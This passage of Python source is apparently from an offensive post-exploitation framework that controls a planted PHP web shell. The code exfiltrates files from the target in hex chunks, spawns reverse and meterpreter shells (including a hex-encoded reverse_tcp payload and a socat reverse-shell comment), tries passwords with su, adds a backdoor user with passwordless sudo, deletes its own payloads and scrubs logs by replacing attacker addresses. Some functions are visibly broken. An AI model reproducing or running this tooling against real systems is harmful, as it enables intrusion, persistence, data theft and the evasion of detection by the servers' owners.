|
|
break
|
|
|
|
# Remove line breaks, and last byte (0a: line break)
|
|
PHPInteractor.command("cd " + _gs["working_directory"] + " && sed -i -- ':a;N;$!ba;s/\\n//g' " + file_name + " && truncate -s-1 " + file_name)
|
|
|
|
sys.stdout.write("\b" * (step - 1))
|
|
sys.stdout.flush()
|
|
sys.stdout.write(("." * (progress_width - 3)))
|
|
print("[\033[92mOK\033[0m]")
|
|
|
|
sys.stdout.write(" finalizing....................................................")
|
|
sys.stdout.flush()
|
|
|
|
# Replace each hex representative
|
|
for i in range(256):
|
|
PHPInteractor.command("cd " + _gs["working_directory"] + "&& sed -i -- 's/0x" + str("%0.2x" % i) + r"/\x" + str("%0.2x" % i) + "/g' " + file_name)
|
|
|
|
print("[\033[92mOK\033[0m]")
|
|
|
|
sys.stdout.write(" Analysing file integrity......................................")
|
|
sys.stdout.flush()
|
|
print("[\033[92mOK\033[0m]" if (str(PHPInteractor.command("cd " + _gs["working_directory"] + " && md5sum " + file_name + " | awk '{ print $1 }'")).strip() == str(local_hash_md5.hexdigest()).strip()) else ".[\033[91mX\033[0m]")
|
|
except:
|
|
import traceback
|
|
print(traceback.format_exc())
|
|
print("\n \033[91mError: cannot open '" + file_name + "'\033[0m")
|
|
|
|
@staticmethod
|
|
def mc_php_variables(match):
|
|
print(PHPInteractor.eval("print_r(get_defined_vars());"))
|
|
|
|
@staticmethod
|
|
def mc_php_eval(match):
|
|
global _gs
|
|
|
|
print("")
|
|
print(" PHP Evaluator:")
|
|
print(" ------------------------------------------------------------------")
|
|
print(" This program evaluats PHP code")
|
|
print("")
|
|
|
|
print(" ------------------------------------------------------------------\n " + PHPInteractor.eval(input(" PHP Code: ")))
|
|
|
|
@staticmethod
|
|
def mc_file_download(match, path = None):
|
|
global _gs
|
|
|
|
rpath = (path if path != None else match.group(1))
|
|
file_name = Utility.loot_name(rpath[rpath.rfind("/") + 1:])
|
|
|
|
try:
|
|
counter = 1
|
|
step = 1
|
|
chunk_size = _gs["chunk_size"]
|
|
progress_width = 64 - 10
|
|
file_size = int(PHPInteractor.command("cd " + _gs["working_directory"] + " && stat -c%s '" + rpath + "'"))
|
|
chunk_count = math.ceil(file_size / chunk_size)
|
|
local_hash_md5 = hashlib.md5()
|
|
|
|
if PHPInteractor.command("cd " + _gs["working_directory"] + " && [ -r '" + rpath + "' ] && echo 'granted' || 'denied'").strip() == "granted":
|
|
|
|
## Setup progress bar
|
|
sys.stdout.write(" Downloading")
|
|
sys.stdout.flush()
|
|
|
|
try: os.remove(file_name)
|
|
except OSError: pass
|
|
|
|
while True:
|
|
chunk = PHPInteractor.command("cd " + _gs["working_directory"] + " && hexdump -ve '1/1 \"%.2x\"' '" + rpath + "' -n " + str(chunk_size) + " -s " + str(chunk_size * (counter - 1)))
|
|
|
|
if (not chunk == ""):
|
|
with open(file_name, "ab") as _file:
|
|
_file.write(binascii.unhexlify(chunk))
|
|
|
|
if ((counter / (chunk_count / progress_width)) > step):
|
|
sys.stdout.write(".")
|
|
sys.stdout.flush()
|
|
step += 1
|
|
counter += 1
|
|
else:
|
|
break
|
|
|
|
sys.stdout.write("\b" * (step - 1))
|
|
sys.stdout.flush()
|
|
sys.stdout.write(("." * (progress_width - 3)))
|
|
print("[\033[92mOK\033[0m]")
|
|
|
|
sys.stdout.write(" Analysing file integrity......................................")
|
|
sys.stdout.flush()
|
|
|
|
local_hash_md5 = hashlib.md5()
|
|
with open(file_name, "rb") as _file:
|
|
local_hash_md5.update(_file.read())
|
|
|
|
print("[\033[92mOK\033[0m]" if (str(PHPInteractor.command("cd " + _gs["working_directory"] + " && md5sum " + rpath + " | awk '{ print $1 }'")).strip() == str(local_hash_md5.hexdigest()).strip()) else ".[\033[91mX\033[0m]")
|
|
print(" Loot saved at: \033[92m" + file_name + "\033[0m")
|
|
else:
|
|
Print.error("Cannot access the file")
|
|
except:
|
|
print("\n \033[91mError: cannot download file'" + file_name + "'\033[0m")
|
|
|
|
@staticmethod
|
|
def mc_dir_dump(match):
|
|
|
|
_files = PHPInteractor.command("ls -p " + _gs["working_directory"] + " | grep -v /").strip().split("\n")
|
|
counter = 0
|
|
|
|
for _file in _files:
|
|
counter += 1
|
|
|
|
print("\n \033[94mDownload file (" + str(counter) + " of " + str(len(_files)) + "): '" + _file + "'\033[0m")
|
|
print(" ------------------------------------------------------------------")
|
|
MandoCommand.mc_file_download(match, _file)
|
|
|
|
@staticmethod
|
|
def mc_kill_self(match):
|
|
|
|
print("")
|
|
print(" Kill Self Protocol:")
|
|
print(" ------------------------------------------------------------------")
|
|
print(" This program cleans up traces and aborts the shell")
|
|
print("")
|
|
|
|
## Remove payloads
|
|
sys.stdout.write(" Removing payloads.............................................")
|
|
for payload in _gs["payloads"].keys():
|
|
if not payload == "smplshll":
|
|
PHPInteractor.command("rm " + _gs["initial_path"] + "/" + _gs["payloads"][payload]["path"])
|
|
print("[\033[92mOK\033[0m]")
|
|
|
|
## Remove self
|
|
sys.stdout.write(" Removing initial shell........................................")
|
|
PHPInteractor.command("rm " + _gs["initial_path"] + "/" + _gs["payloads"]["smplshll"]["path"])
|
|
print("[\033[92mOK\033[0m]")
|
|
|
|
## Shutting down
|
|
print(" Shutting down...")
|
|
sys.exit()
|
|
|
|
@staticmethod
|
|
def mc_exit(match):
|
|
|
|
if Print.confirm("Run 'Kill Self Protocol'"): MandoCommand.mc_kill_self(match)
|
|
sys.exit
|
|
|
|
@staticmethod
|
|
def definition():
|
|
if not hasattr(MandoCommand, "command_definition"):
|
|
MandoCommand.command_definition = {
|
|
"php_var": {
|
|
"description" : "Prints the php variables",
|
|
"validation" : "php_var",
|
|
"help" : "",
|
|
"run" : MandoCommand.mc_php_variables,
|
|
"platform" : [Utility.os.LINUX],
|
|
},
|
|
"php_eval": {
|
|
"description" : "Evaluats php code",
|
|
"validation" : "php_eval",
|
|
"help" : "",
|
|
"run" : MandoCommand.mc_php_eval,
|
|
"platform" : [Utility.os.LINUX],
|
|
},
|
|
"shell": {
|
|
"description" : "Spawns a reverse shell and interacts with it",
|
|
"validation" : r"shell\s+((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)(\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3})",
|
|
"help" : "shell <ip>",
|
|
"run" : MandoCommand.mc_shell,
|
|
"platform" : [Utility.os.LINUX],
|
|
},
|
|
"meterpreter": {
|
|
"description" : "Injects a meterpreter shell",
|
|
"validation" : r"meterpreter\s+((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)(\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3})\:(\d+)",
|
|
"help" : "syntax: \033[94mmeterpreter <ip>:<port>\033[0m\npayload: \033[94mphp/meterpreter/reverse_tcp\033[0m",
|
|
"run" : MandoCommand.mc_meterpreter,
|
|
"platform" : [Utility.os.LINUX, Utility.os.WINDOWS],
|
|
},
|
|
"upload": {
|
|
"description" : "Uploads a file",
|
|
"validation" : "upload",
|
|
"help" : "upload <path>",
|
|
"run" : MandoCommand.mc_file_upload,
|
|
"platform" : [Utility.os.LINUX],
|
|
},
|
|
"download": {
|
|
"description" : "Downloads a file",
|
|
"validation" : r"download\s+([^\s]+)",
|
|
"help" : "download <path>",
|
|
"run" : MandoCommand.mc_file_download,
|
|
"platform" : [Utility.os.LINUX],
|
|
},
|
|
"dir_dump": {
|
|
"description" : "Downloads the current directory content",
|
|
"validation" : "dir_dump",
|
|
"help" : "",
|
|
"run" : MandoCommand.mc_dir_dump,
|
|
"platform" : [Utility.os.LINUX],
|
|
},
|
|
"kill_self": {
|
|
"description" : "Cleans up traces and aborts the shell",
|
|
"validation" : "kill_self",
|
|
"help" : "",
|
|
"run" : MandoCommand.mc_kill_self,
|
|
"platform" : [Utility.os.LINUX],
|
|
},
|
|
"exit": {
|
|
"description" : "Exits the shell",
|
|
"validation" : "exit",
|
|
"help" : "",
|
|
"run" : MandoCommand.mc_exit,
|
|
"platform" : [Utility.os.LINUX, Utility.os.WINDOWS],
|
|
},
|
|
"status": {
|
|
"description" : "Shows shell status",
|
|
"validation" : "status",
|
|
"help" : "",
|
|
"run" : MandoCommand.mc_status,
|
|
"platform" : [Utility.os.LINUX, Utility.os.WINDOWS],
|
|
},
|
|
"sudo": {
|
|
"description" : "Run a command as sudo",
|
|
"validation" : r"sudo\s+(.+)",
|
|
"help" : "",
|
|
"run" : MandoCommand.mc_sudo,
|
|
"platform" : [Utility.os.LINUX],
|
|
},
|
|
"sessions": {
|
|
"description" : "Checks open sessions",
|
|
"validation" : "sessions",
|
|
"help" : "",
|
|
"run" : MandoCommand.mc_sessions,
|
|
"platform" : [Utility.os.LINUX],
|
|
},
|
|
"interact": {
|
|
"description" : "Interacts with specified session id",
|
|
"validation" : r"interact\s+(\d+)",
|
|
"help" : "interact <session-id>",
|
|
"run" : MandoCommand.mc_interact,
|
|
"platform" : [Utility.os.LINUX],
|
|
},
|
|
|
|
### TODO ::
|
|
# attack/su_crack [using PHPInteractor.sudo_command_prompt("su -c whoami USERNAME", "PASSWORD", False)]
|
|
# attack/www_to_root [tries different attacks to 'automatically' elevate www-data to root or/sudo]
|
|
|
|
|
|
# attack/su_crack [using PHPInteractor.sudo_command_prompt("su -c whoami USERNAME", "PASSWORD", False)]
|
|
# attack/www_to_root [tries different attacks to 'automatically' elevate www-data to root or/sudo]
|
|
# : https://blog.sucuri.net/2013/07/from-a-site-compromise-to-full-root-access-bad-server-management-part-iii.html
|
|
|
|
"gather/network_info": {
|
|
"description" : "Gathers network information",
|
|
"validation" : "gather\/network_info",
|
|
"help" : "",
|
|
"run" : MandoCommand.mc_gather_network_info,
|
|
"platform" : [Utility.os.LINUX],
|
|
},
|
|
"gather/user_history": {
|
|
"description" : "Gathers user history",
|
|
"validation" : "gather\/user_history",
|
|
"help" : "",
|
|
"run" : MandoCommand.mc_gather_user_history,
|
|
"platform" : [Utility.os.LINUX],
|
|
},
|
|
"gather/system_info": {
|
|
"description" : "Gathers system information",
|
|
"validation" : "gather\/system_info",
|
|
"help" : "",
|
|
"run" : MandoCommand.mc_gather_system_info,
|
|
"platform" : [Utility.os.LINUX],
|
|
},
|
|
"gather/configs": {
|
|
"description" : "Gathers system configurations",
|
|
"validation" : "gather\/configs",
|
|
"help" : "",
|
|
"run" : MandoCommand.mc_gather_configs,
|
|
"platform" : [Utility.os.LINUX],
|
|
},
|
|
"core/pwd": {
|
|
"description" : "Print working directory",
|
|
"validation" : "core/pwd",
|
|
"help" : "",
|
|
"run" : MandoCommand.mc_pwd,
|
|
"platform" : [Utility.os.LINUX, Utility.os.WINDOWS],
|
|
},
|
|
"core/ls": {
|
|
"description" : "List directory content",
|
|
"validation" : "core/ls",
|
|
"help" : "",
|
|
"run" : MandoCommand.mc_ls,
|
|
"platform" : [Utility.os.LINUX, Utility.os.WINDOWS],
|
|
},
|
|
"?": {
|
|
"description" : "Shows command help",
|
|
"validation" : r"\?(\s+([^\s]+))?",
|
|
"help" : "? <command>",
|
|
"run" : None,
|
|
"platform" : [Utility.os.LINUX, Utility.os.WINDOWS],
|
|
}
|
|
}
|
|
return MandoCommand.command_definition
|
|
|
|
@staticmethod
|
|
def commands():
|
|
return [key for key in MandoCommand.definition().keys() if _gs["system"] in MandoCommand.definition()[key]["platform"]]
|
|
|
|
@staticmethod
|
|
def get(key):
|
|
return MandoCommand.definition()[key]
|
|
|
|
@staticmethod
|
|
def command(x):
|
|
if (not x == None):
|
|
command_name = x.split(" ")[0]
|
|
function = MandoCommand.get(command_name) if command_name in MandoCommand.commands() else None
|
|
|
|
if function != None:
|
|
if hasattr(function["run"], "__call__") and re.compile(function["validation"]).match(x):
|
|
function["run"](re.compile(function["validation"]).match(x))
|
|
else:
|
|
Print.text()
|
|
match = re.compile(function["validation"]).match(x)
|
|
|
|
if match and match.group(1) != None and match.group(1).strip() in MandoCommand.commands():
|
|
for x in MandoCommand.get(match.group(1).strip())["help"].split("\n"): Print.text(x)
|
|
else:
|
|
Print.table(
|
|
caption = "CORE COMMANDS",
|
|
headers = ["Command", "Description"],
|
|
rows = list([{
|
|
0 : cmd,
|
|
1 : MandoCommand.get(cmd)["description"],
|
|
} for cmd in sorted(MandoCommand.commands())])
|
|
)
|
|
Print.text()
|
|
return True
|
|
else:
|
|
return False
|
|
|
|
class SessionManager(object):
|
|
global _gs
|
|
|
|
nextID = 0
|
|
|
|
@staticmethod
|
|
def init():
|
|
if not "_sessions" in _gs.keys():
|
|
_gs["_sessions"] = {}
|
|
|
|
@staticmethod
|
|
def register(record, name):
|
|
SessionManager.init()
|
|
|
|
record.id = SessionManager.nextID
|
|
SessionManager.nextID += 1
|
|
|
|
_gs["_sessions"][record.id] = { "name" : name, "record" : record }
|
|
|
|
return _gs["_sessions"][record.id]["record"]
|
|
|
|
@staticmethod
|
|
def unregister(id):
|
|
SessionManager.init()
|
|
|
|
if id in _gs["_sessions"].keys():
|
|
session = _gs["_sessions"][id]["record"]
|
|
|
|
while len(session.pids) > 0:
|
|
pid = str(session.pids.pop(0))
|
|
Print.status("Killing process " + pid)
|
|
PHPInteractor.command("kill " + pid)
|
|
|
|
del _gs["_sessions"][id]
|
|
|
|
@staticmethod
|
|
def select(id = None):
|
|
SessionManager.init()
|
|
|
|
if id != None and id in _gs["_sessions"].keys():
|
|
return _gs["_sessions"][id]["record"]
|
|
else:
|
|
Print.table(
|
|
caption = "SESSIONS",
|
|
headers = ["id", "name", "user", "connection"],
|
|
rows = list([{
|
|
0:id,
|
|
1:_gs["_sessions"][id]["name"],
|
|
2:_gs["_sessions"][id]["record"].whoami() if hasattr(_gs["_sessions"][id]["record"], "whoami") else "",
|
|
3:_gs["_sessions"][id]["record"].connection_info if hasattr(_gs["_sessions"][id]["record"], "connection_info") else "",
|
|
} for id in _gs["_sessions"].keys()])
|
|
)
|
|
|
|
class Shell(object):
|
|
global _gs
|
|
|
|
def __init__(self, lhost, lport):
|
|
self.system = Utility.os.UNDEFINED
|
|
self.interact_state = enum(UNDEFINED = 0, CONTINUE = 1, BREAK = 2)
|
|
self.rc_password = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for x in range(8))
|
|
self.id = -1
|
|
self.pids = []
|
|
self.option_values = {}
|
|
self.selected_command = None
|
|
self.tty = False
|
|
self.connection_info = "no connection"
|
|
self.lhost = lhost
|
|
self.lport = lport
|
|
|
|
def send(self, input = None):
|
|
|
|
if self.connection != None:
|
|
if input != None:
|
|
counter = 0
|
|
fcntl.fcntl(self.connection, fcntl.F_SETFL, os.O_NONBLOCK)
|
|
self.connection.send((input + "\r").encode("utf-8"))
|
|
#time.sleep(0.5)
|
|
|
|
while True:
|
|
try:
|
|
result = self.connection.recv(16834).decode("utf-8").split("\n")
|
|
except socket.error as e:
|
|
err = e.args[0]
|
|
if err == errno.EAGAIN or err == errno.EWOULDBLOCK:
|
|
if counter == 10:
|
|
Print.error("No response, aborting")
|
|
return ""
|
|
time.sleep(0.2)
|
|
counter += 1
|
|
continue
|
|
else:
|
|
print(e)
|
|
sys.exit(1)
|
|
else:
|
|
break
|
|
|
|
return "\n".join(result[1:-1]).strip()
|
|
else:
|
|
self.connection.send("\r")
|
|
time.sleep(1)
|
|
self.connection.recv(16834)
|
|
else:
|
|
Print.error("Connection is closed")
|
|
return ""
|
|
|
|
def open(self):
|
|
def bind(retries = 5):
|
|
try:
|
|
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
self.socket.bind((self.lhost, self.lport))
|
|
self.socket.listen(1)
|
|
Print.success("Socket listening on port {0}".format(self.socket.getsockname()[1]))
|
|
|
|
except socket.error as err:
|
|
Print.error("Socket binding error: " + str(err[0]))
|
|
|
|
if retries > 0:
|
|
Print.status("Retrying {0}...".format(retries))
|
|
return socketBind(retries - 1)
|
|
|
|
return None
|
|
|
|
def accept():
|
|
if self.socket == None: return
|
|
try:
|
|
self.connection, self.address = self.socket.accept()
|
|
time.sleep(0.2) # Wait
|
|
self.connection.recv(16834) # Clear buffer
|
|
self.connection_info = "{0}:{1} -> {2}:{3}".format(self.address[0], self.address[1], self.socket.getsockname()[0], self.socket.getsockname()[1])
|
|
Print.success("Session opened from {0}:{1} to {2}:{3}".format(self.address[0], self.address[1], self.socket.getsockname()[0], self.socket.getsockname()[1]))
|
|
|
|
except socket.error as err:
|
|
Print.error("Socket accepting error: " + str(err[0]))
|
|
|
|
def sendPayload(shell, lhost, lport):
|
|
#if not "session_injections" in _gs.keys():
|
|
# _gs["session_injections"] = []
|
|
time.sleep(1)
|
|
for payload in _gs["reverse_shells"]:
|
|
pid = PHPInteractor.command(payload.format(lhost, lport) + " & echo $!").strip()
|
|
if PHPInteractor.command("ps --pid " + pid + " -o comm=") != "":
|
|
shell.pids.append(int(pid))
|
|
break
|
|
|
|
def spawnTTY():
|
|
spawners = [
|
|
"python -c 'import pty; pty.spawn(\"/bin/sh\")'",
|
|
"/bin/sh -i",
|
|
"perl -e 'exec \"/bin/sh\";'",
|
|
##"perl: exec \"/bin/sh\";",
|
|
##"ruby: exec \"/bin/sh\"",
|
|
##"lua: os.execute('/bin/sh')"
|
|
]
|
|
|
|
Print.status("Trying to spawn tty")
|
|
for spawner in spawners:
|
|
|
|
''' ## TODO :: FIND A WAY TO GET PID
|
|
## Try to spawn tty
|
|
result = send(connection, spawner + " & echo $? $!").strip().split(" ")
|
|
|
|
## Check for success
|
|
if len(result) == 2 and result[0] == "0":
|
|
_gs["session_injections"].append(int(result[1]))
|
|
Print.success("Successfully spawned tty"
|
|
return True
|
|
'''
|
|
|
|
## Try to spawn tty
|
|
self.send(spawner)
|
|
|
|
## Check for success
|
|
if (self.send("echo $?") == "0"):
|
|
Print.success("Successfully spawned tty")
|
|
self.tty = True
|
|
return
|
|
|
|
Print.error("Failed to spawn any tty")
|
|
self.tty = False
|
|
|
|
try:
|
|
bind()
|
|
threading.Thread(target = sendPayload, args = (self, self.lhost, self.socket.getsockname()[1])).start()
|
|
accept()
|
|
spawnTTY()
|
|
Print.text()
|
|
except:
|
|
test = "do_something"
|
|
|
|
def whoami(self):
|
|
return self.send("whoami")
|
|
|
|
def interact(self):
|
|
|
|
self.system = Utility.get_os(self.send)
|
|
|
|
class RunCommands(object):
|
|
|
|
@staticmethod
|
|
def rc_external_shell(command):
|
|
|
|
# ADD PAYLOADS AS FOR METERPRETER
|
|
# >> TODO:: SOCAT INJECTION:
|
|
# LISTENER socat -,raw,echo=0 tcp-listen:4545
|
|
# PAYLOAD ./socat tcp:10.0.2.238:4545 exec:"bash -li",pty,stderr,setsid,sigint,sane
|
|
|
|
valid, local_options = RunCommands.validate(command)
|
|
|
|
if valid:
|
|
for payload in _gs["reverse_shells"]:
|
|
pid = self.send(payload.format(local_options["LHOST"], local_options["LPORT"]) + " & echo $!").strip()
|
|
|
|
if self.send("ps --pid " + pid + " -o comm=").split("\n")[0].strip() != "":
|
|
Print.success("Successfully spawned reverse shell")
|
|
return
|
|
Print.error("Failed to spawn reverse shell")
|
|
|
|
@staticmethod
|
|
def rc_external_meterpreter(command):
|
|
|
|
_payloads = {
|
|
"php/meterpreter/reverse_tcp": "9f8cff7e21c4...",
|
|
"linux/x86/meterpreter/reverse_tcp": "9f8cff7e21c4...",
|
|
"python/meterpreter/reverse_tcp": "707974686f6e202d6320276578656328223639364437303646373237343230373336463633364236353734324337333734373237353633373430413733334437333646363336423635373432453733364636333642363537343238333232433733364636333642363537343245353334463433344235463533353435323435343134443239304137333245363336463645364536353633373432383238323733313330324533303245333232453332333333383237324333343334333433343239323930413643334437333734373237353633373432453735364537303631363336423238323733453439323732433733324537323635363337363238333432393239354233303544304136343344373332453732363536333736323836433239304137373638363936433635323036433635364532383634323933433643334130413039363432423344373332453732363536333736323836433244364336353645323836343239323930413635373836353633323836343243374232373733323733413733374432393041222e6465636f6465282268657822292e7265706c61636528225f5f4c484f53545f5f222c2022{0}22292e7265706c61636528225f5f4c504f52545f5f222c2022{1}22292927"
|
|
}
|
|
|
|
valid, local_options = validate_rc(command)
|
|
|
|
if valid:
|
|
try:
|
|
payload = _payloads[local_options["PAYLOAD"]].format(local_options["LHOST"].encode("hex"), local_options["LPORT"].encode("hex")).decode("hex")
|
|
|
|
pid = self.send(payload + " & echo $!")
|
|
pid = int(str(pid.split("\n")[1]).strip()) + 1
|
|
|
|
if self.send("ps --pid " + str(pid) + " -o comm=").split("\n")[0].strip() != "":
|
|
Print.success("Successfully spawned meterpreter shell")
|
|
else:
|
|
Print.error("Failed to spawn meterpreter shell")
|
|
except:
|
|
Print.success("Could not determine status of execution")
|
|
|
|
@staticmethod
|
|
def rc_run_as(command):
|
|
|
|
valid, local_options = validate_rc(command)
|
|
|
|
if valid:
|
|
if not self.tty:
|
|
Print.error("This command needs tty")
|
|
else:
|
|
Print.status("Trying to spawn " + local_options["USERNAME"])
|
|
|
|
self.send("su " + local_options["USERNAME"])
|
|
self.send(local_options["PASSWORD"])
|
|
self.send("")
|
|
|
|
if self.send("whoami") == local_options["USERNAME"]:
|
|
Print.success("Successfully spawned " + local_options["USERNAME"])
|
|
else:
|
|
self.send("su " + local_options["USERNAME"])
|
|
self.send("")
|
|
|
|
if self.send("whoami") == local_options["USERNAME"]:
|
|
Print.success("Successfully spawned " + local_options["USERNAME"] + " \033[94mwithout password\033[0m")
|
|
else:
|
|
Print.error("Failed to spawn " + local_options["USERNAME"])
|
|
|
|
@staticmethod
|
|
def rc_cred_root(command):
|
|
|
|
valid, local_options = validate_rc(command)
|
|
|
|
if valid:
|
|
if not self.tty:
|
|
Print.error("This command needs tty")
|
|
else:
|
|
Print.status("Trying to spawn " + local_options["USERNAME"])
|
|
|
|
self.send("su " + local_options["USERNAME"])
|
|
self.send(local_options["PASSWORD"])
|
|
self.send("")
|
|
|
|
if self.send("whoami") == local_options["USERNAME"]:
|
|
Print.success("Successfully spawned " + local_options["USERNAME"])
|
|
Print.status("Trying to spawn root")
|
|
self.send("sudo -i")
|
|
self.send(local_options["PASSWORD"])
|
|
self.send("")
|
|
else:
|
|
Print.error("Failed to spawn " + local_options["USERNAME"])
|
|
|
|
if self.send("whoami") == "root":
|
|
Print.success("Successfully spawned root")
|
|
else:
|
|
Print.error("Failed to spawn root")
|
|
|
|
@staticmethod
|
|
def rc_create_user(command, sudo = False):
|
|
|
|
valid, local_options = validate_rc(command)
|
|
|
|
if valid:
|
|
if not self.tty:
|
|
Print.error("This command needs tty")
|
|
else:
|
|
Print.status("Trying to create user " + local_options["USERNAME"])
|
|
|
|
self.send(("sudo " if sudo else "") + "useradd " + local_options["USERNAME"])
|
|
self.send(("sudo " if sudo else "") + "passwd " + local_options["USERNAME"])
|
|
self.send(local_options["PASSWORD"])
|
|
self.send(local_options["PASSWORD"])
|
|
self.send("")
|
|
|
|
if self.send("grep -c '^" + local_options["USERNAME"] + ":' /etc/passwd").strip() == "1":
|
|
Print.success("Successfully created " + local_options["USERNAME"])
|
|
Print.status("Trying add " + local_options["USERNAME"] + " to sudo")
|
|
self.send(("sudo " if sudo else "") + "adduser " + local_options["USERNAME"] + " sudo")
|
|
self.send(("sudo " if sudo else "") + "echo '" + local_options["USERNAME"] + " ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers")
|
|
|
|
if self.send("sudo -u " + local_options["USERNAME"] + " whoami").strip() == local_options["USERNAME"]:
|
|
Print.success("Successfully created sudo user " + local_options["USERNAME"])
|
|
else:
|
|
Print.error("Failed to created sudo user " + local_options["USERNAME"])
|
|
else:
|
|
if not sudo:
|
|
Print.status("Trying with sudo")
|
|
RunCommands.rc_create_user(command, True)
|
|
else:
|
|
Print.error("Failed to create user " + local_options["USERNAME"])
|
|
|
|
@staticmethod
|
|
def rc_enable_sudo(command):
|
|
|
|
valid, local_options = validate_rc(command)
|
|
|
|
if valid:
|
|
if not self.tty:
|
|
Print.error("This command needs tty")
|
|
else:
|
|
if self.send("grep -c '^" + local_options["USERNAME"] + ":' /etc/passwd").strip() == "1":
|
|
|
|
Print.status("Trying add " + local_options["USERNAME"] + " to sudo")
|
|
sudo = (True if self.send("whoami") != "root" else False)
|
|
self.send(("sudo " if sudo else "") + "adduser " + local_options["USERNAME"] + " sudo")
|
|
self.send(("sudo " if sudo else "") + "echo '" + local_options["USERNAME"] + " ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers")
|
|
|
|
if self.send("sudo -u " + local_options["USERNAME"] + " whoami").strip() == local_options["USERNAME"]:
|
|
Print.success("Successfully enabled sudo for user " + local_options["USERNAME"])
|
|
else:
|
|
Print.error("Failed to enable sudo for user " + local_options["USERNAME"])
|
|
else:
|
|
Print.error("User '" + local_options["USERNAME"] + "' does not exist")
|
|
|
|
@staticmethod
|
|
def rc_log_cleaner(command):
|
|
|
|
valid, local_options = validate_rc(command)
|
|
|
|
if valid:
|
|
target = local_options["TARGET"]
|
|
replacement = (".".join([str(random.randint(1,254)) for x in range(4)]) if re.match(r"^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)(\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3})$", target) else "".join(random.choice("abcdefghijklmnopqrstuvwxyz-ABCDEFGHIJKLMNOPQRSTUVWXYZ-0123456789") for x in range(8)) + random.choice([".aero",".arpa",".asia",".biz",".cat",".com",".coop",".edu",".eu",".gov",".info",".int",".jobs",".mil",".mobi",".museum",".name",".net",".org",".post",".pro",".tel",".travel",".xxx",".ac",".ad",".ae",".af",".ag",".ai",".al",".am",".an",".ao",".aq",".ar",".as",".at",".au",".aw",".ax",".az",".ba",".bb",".bd",".be",".bf",".bg",".bh",".bi",".bj",".bm",".bn",".bo",".br",".bs",".bt",".bv",".bw",".by",".bz",".ca",".cc",".cd",".cf",".cg",".ch",".ci",".ck",".cl",".cm",".cn",".co",".cr",".cs",".cu",".cv",".cx",".cy",".cz",".dd",".de",".dj",".dk",".dm",".do",".dz",".ec",".ee",".eg",".eh",".er",".es",".et",".eu",".fi",".fj",".fk",".fm",".fo",".fr",".ga",".gb",".gd",".ge",".gf",".gg",".gh",".gi",".gl",".gm",".gn",".gp",".gq",".gr",".gs",".gt",".gu",".gw",".gy",".hk",".hm",".hn",".hr",".ht",".hu",".id",".ie",".il",".im",".in",".io",".iq",".ir",".is",".it",".je",".jm",".jo",".jp",".ke",".kg",".kh",".ki",".km",".kn",".kp",".kr",".kw",".ky",".kz",".la",".lb",".lc",".li",".lk",".lr",".ls",".lt",".lu",".lv",".ly",".ma",".mc",".md",".me",".mg",".mh",".mk",".ml",".mm",".mn",".mo",".mp",".mq",".mr",".ms",".mt",".mu",".mv",".mw",".mx",".my",".mz",".na",".nc",".ne",".nf",".ng",".ni",".nl",".no",".np",".nr",".nu",".nz",".om",".pa",".pe",".pf",".pg",".ph",".pk",".pl",".pm",".pn",".pr",".ps",".pt",".pw",".py",".qa",".re",".ro",".rs",".ru",".rw",".sa",".sb",".sc",".sd",".se",".sg",".sh",".si",".sj",".sk",".sl",".sm",".sn",".so",".sr",".st",".su",".sv",".sy",".sz",".tc",".td",".tf",".tg",".th",".tj",".tk",".tl",".tm",".tn",".to",".tp",".tr",".tt",".tv",".tw",".tz",".ua",".ug",".uk",".um",".us",".uy",".uz",".va",".vc",".ve",".vg",".vi",".vn",".vu",".wf",".ws",".ye",".yt",".yu",".za",".zm",".zr",".zw"]))
|
|
files = zlib.decompress(base64.b64decode("eNrtWsmO3DYQvQfIp1gydc0H5BLEBnxxTgO1xF4AqdUmpWnN34daySpWFWcS25kAfbGb9Wp9JVIiOflzafKybvOhb2+/5YMNR7qv1l+TVtOdgpEZrsHI20Bs8hfj0+gO4t33eHcQ707YbBHuUYR7lM8IS1qHW36jL3GENY6wkDGuZIRpjbCW0RczwmpGWEBshwsKAjWl7Z0fb7ILpmD7YAvHq28kAEEUZRPcyqrq12FVdcO1D0VTJDgK9Z05HBHOFsmWJPJldDPUOgOFrcIYnAO8BiRdz8VTwKW2PCC6DBS8kM2QdXXuWk5K5jYjsrcoM2DziuhTv5quKptX9erD2DZiE6EC0UhegQ2DGgpBRFwMJt0HShAQMxfdYqoRwubMNZywl23fkBH7AMS9tmV7KKdfmW0PNSW/AnmsGes4nPK4ShfdOXkcHAkpTVabtbCsiaVyv3amX/7NykabHkFYOPUtAnahAIVCQnfJVJRHOe0PBGdHWzDZQmyT+kdLgPaaYogIFD+toq2gsE1CBn4NRHe5dO/Gsy7ycqgv/ROYQAukeChEZk43Z7MKiSkBI6Fz399YoMbIlt9sxcjrEJh4okJs8poCFmI5M48KxnTFGC9SCooi4H6/U2Iq301OEknn6JGCh6K8TNf1eXYo7fnpfLF9Z142GRqGCkjfqwIt97mKNWdRJNhH4TOHLAHEApRUCa4U60vRzgrBWcE6K7CzpbWUqxXh5FB45LwcaSdH6CNaaqpKW0stKCGWKREtYlQb0xna7Q5RXj1IOLW2eZIShjjlHmkwMYTkJ9job4O2Pa0ggALZItci1TzTEtESzwmaZYZSBEn8KIEgxdepEgkrOWOVSlnFOe+rOgq6yVGwTUzlGWKCGZtCBHAzm5mZ0twS5oQ4H8i5ANbGMBIAgjBAjtOLQMmQzyOmVR/ozq5y3KJVTHY2wAQzNgWGVqaxdF+FtvJdlZrK9pRrKdNRqaFCP8V2cowphjJFc6YE0hTPmpJoUyxviiNOMcwpiTolcKdE8lCG82FcnEcoxmlgTDBjQ0UA/MBGLiFI5RNrJF0kUmBSL2iWCoGlgmepkFgqZJYKiaUiyVKRYqlIs1RwLNEkCRzxFEkMyQRJ/CTpSbGTJodLbt0Ok7EXjM9twcm0vGkCjheGOKNATC5CUR7IAC+cdZt/+evLH59+92M7AHigbnTo6x76rsTVqs21bPVStb11XZM38+Y70HXjW/3BpWdXci6HvDLdNcdHyZcrezP